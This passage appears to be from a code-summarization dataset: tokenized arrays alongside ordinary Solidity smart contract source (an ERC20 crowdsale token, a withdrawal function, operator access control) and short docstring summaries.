1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0
] | [
1,
565,
445,
7720,
5157,
1290,
14332,
5157,
12,
203,
3639,
2254,
5034,
389,
8949,
1182,
16,
203,
3639,
2254,
5034,
389,
8949,
382,
2747,
16,
203,
3639,
1758,
8526,
745,
892,
389,
24055,
16,
203,
3639,
1758,
389,
869,
16,
203,
3639,
2254,
5034,
389,
22097,
1369,
203,
565,
262,
3903,
1135,
261,
11890,
5034,
8526,
3778,
389,
8949,
87,
13,
288,
203,
3639,
309,
261,
2629,
18,
5508,
405,
389,
22097,
1369,
13,
15226,
7784,
2921,
5621,
203,
203,
203,
540,
203,
203,
540,
203,
3639,
389,
8949,
87,
273,
394,
2254,
5034,
8526,
12,
22,
1769,
203,
3639,
389,
8949,
87,
63,
20,
65,
273,
389,
8949,
382,
31,
203,
3639,
389,
8949,
87,
63,
21,
65,
273,
389,
8949,
1182,
31,
203,
565,
289,
203,
203,
203,
203,
203,
203,
203,
203,
203,
203,
203,
203,
203,
203,
3639,
2254,
5034,
279,
4062,
1854,
16,
203,
3639,
1758,
30143,
1345,
16,
203,
3639,
1758,
357,
80,
1345,
16,
203,
3639,
2254,
10392,
3844,
382,
16,
203,
3639,
2254,
10392,
3844,
1182,
16,
203,
3639,
2254,
10392,
1142,
5147,
16,
203,
3639,
2254,
10392,
272,
3169,
2433,
2173,
55,
1165,
1345,
203,
565,
11272,
203,
203,
3639,
1758,
8808,
5793,
16,
203,
3639,
2254,
5034,
3844,
20,
382,
16,
203,
3639,
2254,
5034,
3844,
21,
382,
16,
203,
3639,
2254,
5034,
3844,
20,
1182,
16,
203,
3639,
2254,
5034,
3844,
21,
1182,
16,
203,
3639,
1758,
8808,
358,
203,
565,
11272,
203,
203,
3639,
2254,
5034,
279,
4062,
1854,
16,
203,
3639,
2
] |
pragma solidity ^0.4.23;
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
**/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
**/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
**/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
**/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
**/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender account.
**/
constructor() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
**/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
**/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic interface
* @dev Basic ERC20 interface
**/
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
**/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
**/
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
/**
* @dev total number of tokens in existence
**/
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
**/
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint256 representing the amount owned by the passed address.
**/
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint256 the amount of tokens to be transferred
**/
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
/**
* @dev Approve the passed address to spend the specified amount of tokens on behalf of msg.sender.
*
* Beware that changing an allowance with this method brings the risk that someone may use both the old
* and the new allowance by unfortunate transaction ordering. One possible solution to mitigate this
* race condition is to first reduce the spender's allowance to 0 and set the desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
**/
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
/**
* @dev Function to check the amount of tokens that an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint256 specifying the amount of tokens still available for the spender.
**/
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
/**
* @dev Increase the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To increment
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _addedValue The amount of tokens to increase the allowance by.
**/
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* @dev Decrease the amount of tokens that an owner allowed to a spender.
*
* approve should be called when allowed[_spender] == 0. To decrement
* allowed value is better to use this function to avoid 2 calls (and wait until
* the first transaction is mined)
* From MonolithDAO Token.sol
* @param _spender The address which will spend the funds.
* @param _subtractedValue The amount of tokens to decrease the allowance by.
**/
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Configurable
* @dev Configurable varriables of the contract
**/
contract Configurable {
uint256 public constant cap = 100000000*10**18;
uint256 public constant basePrice = 20000*10**18; // tokens per 1 ether
uint256 public tokensSold = 0;
uint256 public constant tokenReserve = 100000000*10**18;
uint256 public remainingTokens = 0;
}
/**
* @title CrowdsaleToken
* @dev Contract to preform crowd sale with token
**/
contract CrowdsaleToken is StandardToken, Configurable, Ownable {
/**
* @dev enum of current crowd sale state
**/
enum Stages {
none,
icoStart,
icoEnd
}
Stages currentStage;
/**
* @dev constructor of CrowdsaleToken
**/
constructor() public {
currentStage = Stages.none;
balances[owner] = balances[owner].add(tokenReserve);
totalSupply_ = totalSupply_.add(tokenReserve);
remainingTokens = cap;
emit Transfer(address(this), owner, tokenReserve);
}
/**
* @dev fallback function to send ether to for Crowd sale
**/
function () public payable {
require(currentStage == Stages.icoStart);
require(msg.value > 0);
require(remainingTokens > 0);
uint256 weiAmount = msg.value; // Calculate tokens to sell
uint256 tokens = weiAmount.mul(basePrice).div(1 ether);
uint256 returnWei = 0;
if(tokensSold.add(tokens) > cap){
uint256 newTokens = cap.sub(tokensSold);
uint256 newWei = newTokens.div(basePrice).mul(1 ether);
returnWei = weiAmount.sub(newWei);
weiAmount = newWei;
tokens = newTokens;
}
tokensSold = tokensSold.add(tokens); // Increment raised amount
remainingTokens = cap.sub(tokensSold);
if(returnWei > 0){
msg.sender.transfer(returnWei);
emit Transfer(address(this), msg.sender, returnWei);
}
balances[msg.sender] = balances[msg.sender].add(tokens);
emit Transfer(address(this), msg.sender, tokens);
totalSupply_ = totalSupply_.add(tokens);
owner.transfer(weiAmount);// Send money to owner
}
/**
* @dev startIco starts the public ICO
**/
function startIco() public onlyOwner {
require(currentStage != Stages.icoEnd);
currentStage = Stages.icoStart;
}
/**
* @dev endIco closes down the ICO
**/
function endIco() internal {
currentStage = Stages.icoEnd;
// Transfer any remaining tokens
if(remainingTokens > 0)
balances[owner] = balances[owner].add(remainingTokens);
// transfer any remaining ETH balance in the contract to the owner
owner.transfer(address(this).balance);
}
/**
* @dev finalizeIco closes down the ICO and sets needed varriables
**/
function finalizeIco() public onlyOwner {
require(currentStage != Stages.icoEnd);
endIco();
}
}
/**
* @title GeoProtocolToken
* @dev Contract to create the GeoProtocol Token
**/
contract GeoProtocolToken is CrowdsaleToken {
string public constant name = "GeoProtocol";
string public constant symbol = "GEOT";
uint32 public constant decimals = 18;
} | * @title GeoProtocolToken @dev Contract to create the GeoProtocol Token/ | contract GeoProtocolToken is CrowdsaleToken {
string public constant name = "GeoProtocol";
string public constant symbol = "GEOT";
uint32 public constant decimals = 18;
} | 9,910,963 | [
1,
12447,
5752,
1345,
225,
13456,
358,
752,
326,
9385,
5752,
3155,
19,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
16351,
9385,
5752,
1345,
353,
385,
492,
2377,
5349,
1345,
288,
203,
565,
533,
1071,
5381,
508,
273,
315,
12447,
5752,
14432,
203,
565,
533,
1071,
5381,
3273,
273,
315,
7113,
1974,
14432,
203,
565,
2254,
1578,
1071,
5381,
15105,
273,
6549,
31,
203,
97,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x4A2be89f57846c7cdd66428017B2524D0b298518/sources/Withdrawals.sol | / No notFrozen modifier: This function can always be used, even when frozen. Fetch and clear quantized amount. Transfer funds. | This function can be called normally while frozen.
function withdrawTo(uint256 starkKey, uint256 assetType, address payable recipient)
public
isSenderStarkKey(starkKey)
{
require(!isMintableAssetType(assetType), "MINTABLE_ASSET_TYPE");
uint256 assetId = assetType;
uint256 quantizedAmount = pendingWithdrawals[starkKey][assetId];
pendingWithdrawals[starkKey][assetId] = 0;
transferOut(recipient, assetType, quantizedAmount);
emit LogWithdrawalPerformed(
starkKey,
assetType,
fromQuantized(assetType, quantizedAmount),
quantizedAmount,
recipient
);
}
| 4,465,813 | [
1,
19,
2631,
486,
42,
9808,
9606,
30,
1220,
445,
848,
3712,
506,
1399,
16,
5456,
1347,
12810,
18,
8065,
471,
2424,
10251,
1235,
3844,
18,
12279,
284,
19156,
18,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1377,
1220,
445,
848,
506,
2566,
15849,
1323,
12810,
18,
203,
565,
445,
598,
9446,
774,
12,
11890,
5034,
384,
1313,
653,
16,
2254,
5034,
3310,
559,
16,
1758,
8843,
429,
8027,
13,
203,
3639,
1071,
203,
3639,
11604,
2345,
510,
1313,
653,
12,
334,
1313,
653,
13,
203,
565,
288,
203,
3639,
2583,
12,
5,
291,
49,
474,
429,
6672,
559,
12,
9406,
559,
3631,
315,
49,
3217,
2782,
67,
3033,
4043,
67,
2399,
8863,
203,
3639,
2254,
5034,
3310,
548,
273,
3310,
559,
31,
203,
3639,
2254,
5034,
10251,
1235,
6275,
273,
4634,
1190,
9446,
1031,
63,
334,
1313,
653,
6362,
9406,
548,
15533,
203,
3639,
4634,
1190,
9446,
1031,
63,
334,
1313,
653,
6362,
9406,
548,
65,
273,
374,
31,
203,
203,
3639,
7412,
1182,
12,
20367,
16,
3310,
559,
16,
10251,
1235,
6275,
1769,
203,
3639,
3626,
1827,
1190,
9446,
287,
13889,
12,
203,
5411,
384,
1313,
653,
16,
203,
5411,
3310,
559,
16,
203,
5411,
628,
19471,
1235,
12,
9406,
559,
16,
10251,
1235,
6275,
3631,
203,
5411,
10251,
1235,
6275,
16,
203,
5411,
8027,
203,
3639,
11272,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
/**
* @title TraderOperatorable
* @author Team 3301 <[email protected]>
* @dev TraderOperatorable contract stores TraderOperators contract address, and modifiers for
* contracts.
*/
pragma solidity 0.5.12;
import "../interface/ITraderOperators.sol";
import "../base/Operatorable.sol";
import "../../helpers/Initializable.sol";
contract TraderOperatorable is Operatorable {
ITraderOperators internal traderOperatorsInst;
address private traderOperatorsPending;
event TraderOperatorsContractChanged(address indexed caller, address indexed traderOperatorsAddress);
event TraderOperatorsContractPending(address indexed caller, address indexed traderOperatorsAddress);
/**
* @dev Reverts if sender does not have the trader role associated.
*/
modifier onlyTrader() {
require(isTrader(msg.sender), "TraderOperatorable: caller is not trader");
_;
}
/**
* @dev Reverts if sender does not have the operator or trader role associated.
*/
modifier onlyOperatorOrTraderOrSystem() {
require(
isOperator(msg.sender) || isTrader(msg.sender) || isSystem(msg.sender),
"TraderOperatorable: caller is not trader or operator or system"
);
_;
}
/**
* @dev Initialization instead of constructor, called once. The setTradersOperatorsContract function can be called only by Admin role with
* confirmation through the operators contract.
* @param _baseOperators BaseOperators contract address.
* @param _traderOperators TraderOperators contract address.
*/
function initialize(address _baseOperators, address _traderOperators) public initializer {
super.initialize(_baseOperators);
_setTraderOperatorsContract(_traderOperators);
}
/**
* @dev Set the new the address of Operators contract, should be confirmed from operators contract by calling confirmFor(addr)
* where addr is the address of current contract instance. This is done to prevent the case when the new contract address is
* broken and control of the contract can be lost in such case
* @param _traderOperators TradeOperators contract address.
*/
function setTraderOperatorsContract(address _traderOperators) public onlyAdmin {
require(
_traderOperators != address(0),
"TraderOperatorable: address of new traderOperators contract can not be zero"
);
traderOperatorsPending = _traderOperators;
emit TraderOperatorsContractPending(msg.sender, _traderOperators);
}
/**
* @dev The function should be called from new operators contract by admin to insure that traderOperatorsPending address
* is the real contract address.
*/
function confirmTraderOperatorsContract() public {
require(
traderOperatorsPending != address(0),
"TraderOperatorable: address of pending traderOperators contract can not be zero"
);
require(
msg.sender == traderOperatorsPending,
"TraderOperatorable: should be called from new traderOperators contract"
);
_setTraderOperatorsContract(traderOperatorsPending);
}
/**
* @return The address of the TraderOperators contract.
*/
function getTraderOperatorsContract() public view returns (address) {
return address(traderOperatorsInst);
}
/**
* @return The pending TraderOperators contract address
*/
function getTraderOperatorsPending() public view returns (address) {
return traderOperatorsPending;
}
/**
* @return If '_account' has trader privileges.
*/
function isTrader(address _account) public view returns (bool) {
return traderOperatorsInst.isTrader(_account);
}
/** INTERNAL FUNCTIONS */
function _setTraderOperatorsContract(address _traderOperators) internal {
require(
_traderOperators != address(0),
"TraderOperatorable: address of new traderOperators contract can not be zero"
);
traderOperatorsInst = ITraderOperators(_traderOperators);
emit TraderOperatorsContractChanged(msg.sender, _traderOperators);
}
}
| * INTERNAL FUNCTIONS */ | function _setTraderOperatorsContract(address _traderOperators) internal {
require(
_traderOperators != address(0),
"TraderOperatorable: address of new traderOperators contract can not be zero"
);
traderOperatorsInst = ITraderOperators(_traderOperators);
emit TraderOperatorsContractChanged(msg.sender, _traderOperators);
}
| 955,702 | [
1,
14005,
13690,
55,
342,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
445,
389,
542,
1609,
765,
24473,
8924,
12,
2867,
389,
313,
1143,
24473,
13,
2713,
288,
203,
3639,
2583,
12,
203,
5411,
389,
313,
1143,
24473,
480,
1758,
12,
20,
3631,
203,
5411,
315,
1609,
765,
5592,
429,
30,
1758,
434,
394,
1284,
765,
24473,
6835,
848,
486,
506,
3634,
6,
203,
3639,
11272,
203,
3639,
1284,
765,
24473,
10773,
273,
467,
1609,
765,
24473,
24899,
313,
1143,
24473,
1769,
203,
3639,
3626,
2197,
765,
24473,
8924,
5033,
12,
3576,
18,
15330,
16,
389,
313,
1143,
24473,
1769,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./full_match/80001/0xe02a04Fb861757FA4512442C3B6381e571005397/sources/src/LiquidSplit.sol | emit event when receiving ETH | receive() external payable virtual {
emit ReceiveETH(msg.value);
}
| 5,637,827 | [
1,
18356,
871,
1347,
15847,
512,
2455,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] | [
1,
565,
6798,
1435,
3903,
8843,
429,
5024,
288,
203,
3639,
3626,
17046,
1584,
44,
12,
3576,
18,
1132,
1769,
203,
565,
289,
203,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
